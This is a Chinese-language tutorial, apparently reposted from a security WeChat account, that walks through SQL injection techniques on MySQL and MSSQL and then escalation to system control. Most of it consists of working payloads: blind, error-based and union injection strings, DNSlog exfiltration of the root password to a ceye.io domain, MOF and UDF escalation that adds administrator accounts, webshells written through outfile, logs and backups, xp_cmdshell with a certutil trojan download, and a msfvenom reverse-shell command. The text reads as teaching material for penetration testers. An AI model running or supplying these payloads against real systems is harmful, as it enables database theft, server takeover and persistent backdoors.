SQL注入基础

公众号:白帽子左一

SQL注入基础

**SQL注入**(英语:SQL injection),是发生于应用程序与数据库层的[安全漏洞](https://zh.wikipedia.org/wiki/安全漏洞)。简而言之,是在输入的字符串之中注入[SQL](https://zh.wikipedia.org/wiki/SQL)指令,在设计不良的[程序](https://zh.wikipedia.org/wiki/计算机程序)当中忽略了字符检查,那么这些注入进去的恶意指令就会被[数据库](https://zh.wikipedia.org/wiki/資料庫)[服务器](https://zh.wikipedia.org/wiki/伺服器)误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

OWASP Top10虽然常年有更改,但sql注入基本一直位于榜首,其优势在于极低的使用代价以及极高的危害性,地位可见一斑。

SQL注入的危害自然是很大的,通常有以下这些(来自[wiki](https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5)):

 

  • 资料表中的资料外泄,例如企业及个人机密资料,账户资料,密码等。
  • 数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。
  • 数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
  • 获取系统较高权限后,有可能得以在网页加入恶意链接恶意代码以及Phishing等。
  • 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。
  • 黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。
  • 破坏硬盘资料,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。
  • 获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。
  • 企业网站主页被窜改,门面尽失。

找到注入点后,sql注入的基本流程如下:

信息收集:
数据库类型
数据库版本
数据库用户
数据库权限

获取数据:
获取库信息
获取表信息
获取列信息
获取数据

提权:
执行命令
读文件       读取中间件配置文件,读取数据库配置文件
写文件       写webshell

注入分类及利用

布尔型注入

布尔是英文单词Boolean的音译,懂编程的同学应该知道它是用来表示是或否(True或False)的一个数据类型。布尔型注入是在sql注入过程中,根据页面的返回结果来判断条件真假的注入方式。

当查询结果不为空时,返回True,相反返回False。这在网页上的体现通常是True有内容显示,而False对应着空白页面(或者页面无变化)。我们通过这个方式可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确,因为过程较为繁琐,通常要结合脚本或工具来进行。

例如sqli-labs Less8中,页面返回的只有正确和错误。我们就可以利用布尔型注入来猜解数据。

判断数据库长度的语句,此时页面无显示,说明长度为8:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

 

 

获取数据库名时拼接and (ascii(substr(database(),1,1)))>115语句,出现错误,对照ASCII码表得知数据库名第一个字符为“s”。而后便是重复此操作得到我们需要的数据。

报错型注入

原理

在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

主要场景有两种,一是当查询不回显内容,但是会打印错误信息;二是在insert和update等注入点(Order by查询),这些语句也会打印错误信息。

常用的Mysql报错函数有以下这些:

updatexml():mysql对xml文档数据进行查询和修改的xpath函数

extractvalue():mysql对xml文档数据进行查询的xpath函数

floor():mysql中用来取整的函数

exp():此函数返回e(自然对数的底)指数X的幂值

 

 

  • updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了,举例如下:
mysql> select updatexml(1,make_set(3,'~',(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost'

mysql> select updatexml(1,lpad('@',30,(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);

ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);

ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);

ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'

 

  • extractvalue(目标xml文档,xml路径)。语法中第二个参数Xpath是可操作的地方,如果我们写入错误的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));//获取表名

ERROR 1105 (HY000): XPATH syntax error: '\users'

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\xxxx'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));//获取字段

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

 

  • floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整。 floor报错注入是利用

    select count(*),(floor(rand(0)*2)) x from users group by x

     

    这个相对固定的语句格式,导致的数据库报错。有关它的报错原理可参考:source

1. ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

2. ' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a),'','') -- qwe

 

联合查询注入

此处以MySQL为例

  • GET

获取回显点:

数字型:
根据获取的字段进行联合查询,查看显示点。看到网页显示的数字和联合查询字段对应的数字来得出哪个字段查询出来的数据可以在网站中显示出来。(利用and 1=2,也可以用其他方式比如-2/2.1154等,将前面的查询报错,进而网页则显示联合查询出来的数据。)

and 1=2 union select 1,2,3,4,5

 

 

img

字符型:

字符型和数字型的差别只是闭合和注释,其余的语句基本一样。像这里因为PHP写的SQL语句的查询条件参数是用单引号括着的,所以要用单引号,如果是其他的比如双引号就要用双引号闭合,然后把后面那个多余的符合注释掉或处理掉。

' and 1=2 union select 1,2,3-- qwe

 

 

img

接下来展示几条具体的利用语句:

and 1=2 union select 1,database(),3,4,5 //查询当前数据库
and 1=2 union select 1,database(),version(),4,5 //查询当前数据库及版本
and 1=2 union select 1,database(),table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1 //爆表名

 

 

  • POST

万能密码:

POST注入提得最多的应该就是万能密码了。(默认登录表里的第一个用户)

万能密码,where前面的那个条件为假后面的1=1为真,or或,一真一假为真,所以条件为真,则查询表里的全部数据。

`' or 1=1 -- qwe`

 

 

img

获取字段数:

' or 1=1 order by 1 -- qwe

 

 

img

搜索框如下,字段闭合之后就可以获取了。

img

img

时间型盲注

当注入时,无论我们传入什么值,网页正常或报错都显示一种页面时,那么网页的是否正常显示将不是我们用来判断是否注入成功的依据,就要用基于时间的盲注。

此处同样Mysql为例。

MySQL延时注入

延时注入就是在盲注的基础上增加了两个函数:

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

sleep函数

sleep():休眠多少秒

判断注入点:

无论输入的语句是对还是错,都只返回一种页面。

此时我们只能用sleep()来判断注入点。

' and sleep(5)-- qwe //延时了5秒,证明执行成功了。

 

 

猜当前数据库:

' and if(length(database())>8,1,sleep(5))-- qwe数据库长度大于8时延时了5秒,数据库名是长度为8的字符串。
' and if(ord(mid(database(),1,1))>115,1,sleep(5))-- qwe
ASCII码:115 -> s 猜解出数据库的第一个字符

 

 

接下来的利用与盲注类似,只是判断方式不同。

benchmark函数

简介BENCHMARK(count,expr)函数

benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟。

语句

and if((布尔盲注语句),BENCHMARK(10000000,md5('a')),1);

 

笛卡尔积函数

简介
所谓叠加全排列就是对多个表做笛卡尔积连接,使之查询时间呈指数增长,也就是说,攻击者将简单的表查询不断地叠加,不断增加系统执行sql语句的负荷,直到产生攻击者想要的时间延迟。为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别

and if((布尔盲注语句),(笛卡尔积函数语句),1);

 

 

语句

mysql> select count(*) from information_schema.columns a,information_schema.columns b;

+----------+

| count(*) |

+----------+

| 774400 |

+----------+

1 row in set (0.20 sec)

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

+-----------+

| count(*) |

+-----------+

| 113101560 |

+-----------+

1 row in set (2.07 sec)

 

 

get_lock盲注

简介
对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入。

GET_LOCK(str,timeout)

例子

SESSION A

mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
1234567

 

 

SESSION B

mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
| 0 |
+---------------------+
1 row in set (5.00 sec)
1234567

 

 

语句
and if((布尔盲注语句),GET_LOCK(str,timeout),1);

注入类型扩展

DNSlog注入

什么是DNS?

DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.test.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如192.168.10.11,使用户可以访问这台服务器上相应的服务。

什么是Dnslog

Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.comt00ls.com.等的访问信息。

DNSLOG的使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

DNSlog注入原理:

通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

LOAD_FILE() 读取文件的函数:

读取文件并返回文件内容为字符串。要使用此函数:
1.文件必须位于服务器主机上
2.必须指定完整路径的文件
3.必须有FILE权限。 该文件所有字节可读
4.文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

通过DNSlog注入需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。

  1. 当secure_file_priv为空,就可以读取写入磁盘的目录。
  2. 当secure_file_priv为G:\,指定文件夹就可以对该文件夹读取写入,就可以读取G盘的文件。
  3. 当secure_file_priv为null,表示不允许读取写入,load_file就不能加载文件。

UNC路径:

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

\abc.xxx.com\abc -> 访问abc.xxx.com下的abc共享文件夹

DNSLOG平台

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

首先我们分配到这个域名:75icr7.ceye.io

平台有个POC:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

  1. 改成分配我们的域名:
  2. CONCAT:字符串拼接函数
  3. 中间的select是一个子查询,假如root用户的密码是root,那么这条语句就等同于
  4. SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc');

数据库去访问root.75icr7.ceye.io的服务器下的共享文件夹abc。
ceye.io运用了泛解析,然后ceye.io的子域名的解析都是在某台服务器,然后它记录下来了有人请求访问了root.75icr7.ceye.io,然后在ceye这个平台上面显示出来了

下面我们就查一下数据库试试:

and (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.75icr7.ceye.io\\abc')))这里加上1.txt是因为有防火墙,利用它的特性绕过。

 

 

数据库信息就出来了。

实战利用也可参考:DNSlog在SQL注入中的实战

二阶注入

二阶注入也称二次注入,原理是sql语句在没有被转义的情况下直接存入数据库,然后在被读取查询而导致的。

二次注入在php种通常见于,插入时被addslashes() get_magic_quotes_gpc 等等转义,但是写入数据库时还是使用原来的数据,二次注入造成的原因是多种多样的。

此处我们用sqli labs第24课来做例子。

  1. 先创建一个含有注释符的用户 amin’#

  1. 查看数据库,可见成功添加了记录。此处虽然有转义操作,但如上面所说,数据被存入数据库是还是原来的形式。

  1. 用注册的账号进行修改密码的操作,sql语句分析如下:
源码中的sql语句: UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
即将被执行的语句: UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
最终被执行的语句:UPDATE users SET PASSWORD='$pass' where username='admin'

 

 

  1. 可以很清楚的看到#及之后的内容被省略,导致admin账户的密码被修改(而不是admin'#的)

Order By 注入

Order by注入是比较特殊的情况, sql语句为 select * from admin order by $id 。我们一般用order by 来判断列数,其实它就是一个依照第几个列来排序的过程。

order by注入是不能 直接使用and 1=1 来判断的,它需要用到条件语句。

简单注入判断

在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的

http://192.168.239.2:81/?order=11 错误
http://192.168.239.2:81/?order=1 正常

 

 

进一步构造payload

前面的判断并不是绝对的,我们需要构造出类似and 1=1and 1=2的payload以便于注入出数据。此处需利用条件语句(if)。

http://127.0.0.1/?order=IF(1=1,name,price) 通过name字段排序
http://127.0.0.1/?order=IF(1=2,name,price) 通过price字段排序
http://127.0.0.1/?order=IFNULL(NULL,price) 通过name字段排序
http://127.0.0.1/?order=IFNULL(NULL,name) 通过price字段排序

 

 

可以观测到排序的结果不一样。

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,可以利用updatexml和extracvalue等函数进行报错注入:

http://127.0.0.1/?order=updatexml(1,if(1=1,1,user()),1) 正确
http://127.0.0.1/?order=updatexml(1,if(1=2,1,user()),1) 错误
http://127.0.0.1/?order=extractvalue(1,if(1=1,1,user())) 正确
http://127.0.0.1/?order=extractvalue(1,if(1=2,1,user())) 错误

 

 

基于时间盲注

注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

 

 

insert,delete,update注入

注意!这几种情况下的注入都会修改或删除数据,是非常危险的操作。只有在授权测试允许的情况下才考虑利用。

利用其实和之前提到的类似,主要方式有报错和盲注。

insert

一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。

报错,使用updatexml函数

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");

Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;

+------+-----------------------------------------------+----------+

| id | username | password |

+------+-----------------------------------------------+----------+

| 1 | admin | admin |

| 1 | and 1=1 | admin |

| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |

+------+-----------------------------------------------+----------+

3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");

ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

 

  1. 延时盲注

int型 可以使用 运算符,比如 加减乘除 and or 异或 移位等等

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");

Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");

Query OK, 1 row affected (0.00 sec)

 

字符型注意闭合不能使用and。

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");

Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");

Query OK, 1 row affected (5.01 sec)

 

注意盲注产生大量垃圾数据。

delete

需要注意的是delete 注入非常危险。一定要理清逻辑,不要使用sqlmap一把梭。语句稍不当,亲人泪两行 。

报错注入同上:

mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

 

 

盲注

or 配上 if() 函数使用不当。简单提下 if(expr1,expr2,expr3),如果expr1的值为true,返回expr2的值,如果expr1的值为false, 返回expr3的值。

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);

Query OK, 3 rows affected (0.00 sec)

 

update

与上方的类似,此处举延时注入为例:

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0

 

 

limit注入

limit的用法

格式:
limit m,n
//m是记录开始的位置,n是取n条数据
limit 0,1
//从第一条开始,取一条数据

 

 

在Limit后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

在Limit后面可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时。

简介

procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。

语法

procesure analyse(max_elements,max_memory)

 

max_elements

指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。

max_memory

analyse()为每列找出所有非重复值所采用的最大内存大小。

报错注入:

?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);

 

 

时间型盲注:

直接使用sleep不行,需要用BENCHMARK代替

?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

 

 

注入检测

sql注入的检测,除开使用自动化工具,手动注入也是有效的方法。

我们可以通过在应用程序中触发报错或使用布尔型注入,最容易检测到脆弱的参数。构造格式错误的查询将触发错误,而发送带有各种布尔逻辑语句的有效查询将触发来自web服务器的不同响应。这里所说的检测方法在上方可以看到示例,因为很多利用是伴随着测试的。我们这一块主要探究如何获取数据库版本信息。

注意:True或False语句应该通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的true/false性质一致,则表示存在sql注入。

数据库版本检测

检测目标正在使用的数据库管理系统(DBMS)对于进一步利用注入至关重要。如果没有这些信息,就不可能确定要查询哪些表、内置哪些函数以及要避免哪些检测。如果下面的查询响应成功,则说明所选的DBMS正在被使用。

注意:把注释字符 — 放在查询之后,以删除查询后的任何注释,帮助防止错误。

前端与数据库类型

web应用数据库系统
.net sql server
php PostgreSQL,Mysql
asp sql server,Access
java Oracle,Mysql

这个有助于缩小我们的判断范围。

端口判断

端口数据库系统
1433 SQL Sever
1521 Oracle
3306 Mysql

其中Access数据库属于文件型数据库,所以不存在端口号。

基于特定函数的判断

len和length

在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。

当你使用and len(‘a’)=1的时候,返回正常页面时,可以推断当前的数据库类型可能是mssql,或mysql,或是db2。反之则可能会是oracle和informix。

@@version和version()

在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。

version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

substring和substr

在mssql中可以调用substring。oracle则只可调用substr

字符串处理方式

sql server :id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab''ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'||'b''ab'=concat('a','b')
postgresql :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')

 

 

报错类型

ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

注入提权

Mysql篇

MOF提权(windows)

使用范围

Windows Server 2003/XP 等 Windows低版本

需要权限

必须要有导出权限

原理

mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof,叫做托管对象格式, 它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,拥有了MySQL的root权限 后,使用root权限去执行上传操作,将我们重新改写过的mof文件上传,之后,这个文件会被服务器每隔5秒 以system权限执行。这个改写的mof中,有一段是vbs脚本,这个vbs大多数是cmd的添加管理员用户的命令。

Mof 文件怎么书写?

img

其中的关键就在于第17的net.exe user secist 123 /add,这句是用来创建一个用户名为secist,密码为123的用户。

创建成功后,再将这句命令改为“net.exe localgroup administrators admin /add”后,再次上传,达到创建admin用户并将其加入administrators组的目的。

MOF提权-实操

Windows Server 2003R2上面搭建这BlueCms,用户注册,登录成功后,通过上传头像,然后将我们要用到的mof文件后缀改为1.jpg上传

img

然后通过扫描目录,我们发现这个网站有phpmyadmin目录,访问了一下,显示PHP版本过低,发现要PHP高于5.5才能使用Phpmyadmin,本地测试了一下,Windows 2003 根本不支持PHP5.4以上版本,不过不负有心人,我发现它有adminer.php文件。也是WEB的数据库管理工具。

img

然后查看了一下这个数据库,居然开启了导出的权限。
如果本地测试的小伙伴没有开启的话,可以去数据库的my.ini的最后加入这句话,然后重启Mysql。加入my.ini的语句:secure_file_priv =

那么我们只要简单的执行导出语句就可以,先用load_file读取前面上传上来的文件内容,然后再导出到c:/windows/system32/wbem/mof/nullevt.mof。
语句:

select load_file(“D:/phpstudy/www/bluecms/uploads/data/upload/face_pic/15905196234.jpg”) into dumpfile “c:/windows/system32/wbem/mof/kkk.mof”

 

 

img

img

再次上传一个mof文件,然后在执行命令的地方,把添加用户改为,提升用户权限,mof这里是system权限的,所以可以直接提上来。

那是否能尝试,在没有上传点的情况下达成这样的攻击?
那么我想到的就是直接写在adminer直接导出,但是我估计有些符号会影响语句,Mysql支持16进制,应该可以先转16进制,然后用Into dumpfile导出

字符转16进制:https://www.bejson.com/convert/ox2str/

我们尝试了,但是遇到了困难,因为16进制解码写入后,所有的代码都会糊在一起,不再会换行了。如果没有想错的话就是16进制转换的时候没有加上换行,但是这里转换复杂,而且发现一个换行是由一个回车+一个换行符组成.

为了快捷 ,此处直接转化为了纯char写入。

img

执行成功后,查看用户很明显添加了进去,所以只要能够导入就可以成功。

img

Udf提权

使用范围

无版本要求,只和Mysql有关,与服务器版本无关

权限需求

必须要有导出权限,且用户必须root权限

原理

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让Mysql去做一切事情。通过上传可以调用系统命令的Dll扩展,然后设置好自定义函数,然后使用函数执行命令。

实战

如果mysql版本>5.1,udf.dll文件必须放置在mysql安装目录下的lib\plugin\

如果mysql版本小于等于5.1,udf.dll文件在system32目录下

我们怎么去获取Dll文件,其实Sqlmap中就有
sqlmap目录下的 \data\udf\mysql\windows\64\lib_mysqludf_sys.dll文件
当然你目标如果是32位的那么要选择32位的。

我们来尝试一下最简单的方法,通过Webshell直接上传到该目录然后执行命令。
这里所指的是网站低权限运行,但是数据库高权限运行,在IIS作为中间件的时候 比较常见。

上传udf

先判断数据库版本,符合 mysql 大于等于 5.1 情况。

sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择(不是靶机系统位数),命令 show variables like ‘%version_%’; 查看 mysql 位数。

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

引入函数

需要创建 udf 中存在的函数,可以用 winhex 打开 dll 看一下有哪些函数可以创建。这里选择 sys_eval 函数。

sys_eval:执行任意命令,并将输出返回。sys_exec:执行任意命令,并将退出码返回。

引入自定义函数:create function sys_eval returns string soname "lib_mysqludf_sys.dll";

使用函数

验证一下:select * from mysql.func where name = ‘sys_eval’;

select sys_eval(‘calc’); 弹计算器实验一下,除此之外还可以新建账号加入管理员组等进行其它操作。

mysql outfile导出webshell

条件:知道物理路径,root权限,同时mysql需要有write权限,secure_file_priv配置不为null,查看方法:

 

show global variables like '%secure_file_priv%';

 

 

 

这个参数只能通过修改配置文件后重启mysql修改。

1.select '<?php phpinfo();?>' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php'

2.新建一个表,创建一个空字段,在这个字段里插入php马,再导出

 

直接导出需要开启安全配置

ps:secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()(读取文件)

mysql日志获取webshell

查看:

SHOW VARIABLES LIKE '%general%'

 

 

修改状态:

set global general_log="ON";

 

 

修改储存位置:

set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';

 

写马:

select '<?php phpinfo(); ?>';

 

 

只需root权限即可。

mysql慢查询日志getshell

首先查询slow的配置。
show variables like '%slow_query_log%';

若结果为off,则运行
set global slow_query_log=1;

然后设置log日志的位置,设置为web目录下
set global slow_query_log_file='C:\\phpStudy\\WWW\\cs.php';

查看下是否修改成功
show variables like '%slow_query_log%';

触发慢查询日志
select '<?php echo system($_GET["cmd"]);?>' or sleep(11);

访问设置好的目录,可以看到已经成功了,getshell同理。

Mssql篇

执行系统命令

判断开启

  1. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

img
结果为1表示开启
可以用盲注语句判断

and (select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1

 

 

注意:执行系统指令属于堆叠查询,而且没有回显

 

select * from users where id =1 exec master..xp_cmdshell whoami

 

 

img
所以可以尝试直接创建账号等指令,如果不能使用堆叠查询,可以使用盲注辅助

if 1=1 execute('exec xp_cmdshell whoami');select * from users where id =1 and 1=2 if 1=1 execute('exec master..xp_cmdshell whoami');

 

 

img
写文件,注意,会把原来的文件内容覆盖掉

exec master..xp_cmdshell "echo 这是个木马>d:\\2.txt"

 

 

img
注意:如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
img
执行EXE程序-这是个错误的案例

exec master..xp_cmdshell 'C:\WINDOWS\system32\notepad.exe'

 

 

不能执行用户交互的命令,比如,执行记事本这种需要用户录入,关闭等操作的程序,就会挂死程序,此外,弹窗的也不行,适合配合其他操作或者下面命令的使用。
``
exec master..xp_cmdshell “certutil -urlcache -split -f http://服务器/木马.exe 木马.exe” —

无杂质写入文件

exec sp_configure 'show advanced options',1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE WITH OVERRIDE;

 

img

declare @ob int;exec sp_oacreate 'adodb.stream',@ob output;exec sp_oasetproperty @ob,'type',1;exec sp_oamethod @ob,'open';exec sp_oamethod @ob,'write',null,0x3c3f70687020706870696e666f28293b3f3e;exec sp_oamethod @ob,'savetofile',null,'c:\test66.txt',2;exec sp_oamethod @ob,'close';exec sp_oadestroy @ob;

 

 

img

操作注册表

直接修改注册表,关闭防火墙,开个3389都可以的
读取远程桌面端口
img

备份文件写shell

日志备份

create table cmd (a image)backup log test to disk = 'c:/1.bak' with initinsert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')backup log test to disk = 'c:\saul.aspx'drop table cmd

 

文件备份

exec sp_makewebtask 'D:\mssql\p2.asp','<%Execute(request("MH"))%>'

 

注意,路径和内容要用16进制

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c002500450078006500630075007400650028007200650071007500650073007400280022004d00480022002900290025003e000d000a002700;exec sp_makewebtask 0x44003a005c006d007300730071006c005c00700032002e00610073007000, @s;

 

 

差异备份
理论而言只会把不同的内容进行备份,但测试时有偏差

backup database test to disk = 'c:\2.bak'create table [dbo].[test] ([cmd] [image]);insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')--backup database test to disk='c:\2.aspx' WITH DIFFERENTIAL,FORMAT;

 

 

clr

img
msf执行Msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.139.129 LPORT = 4444 EXITFUNC = none -f csharp --platform windows
img
构造

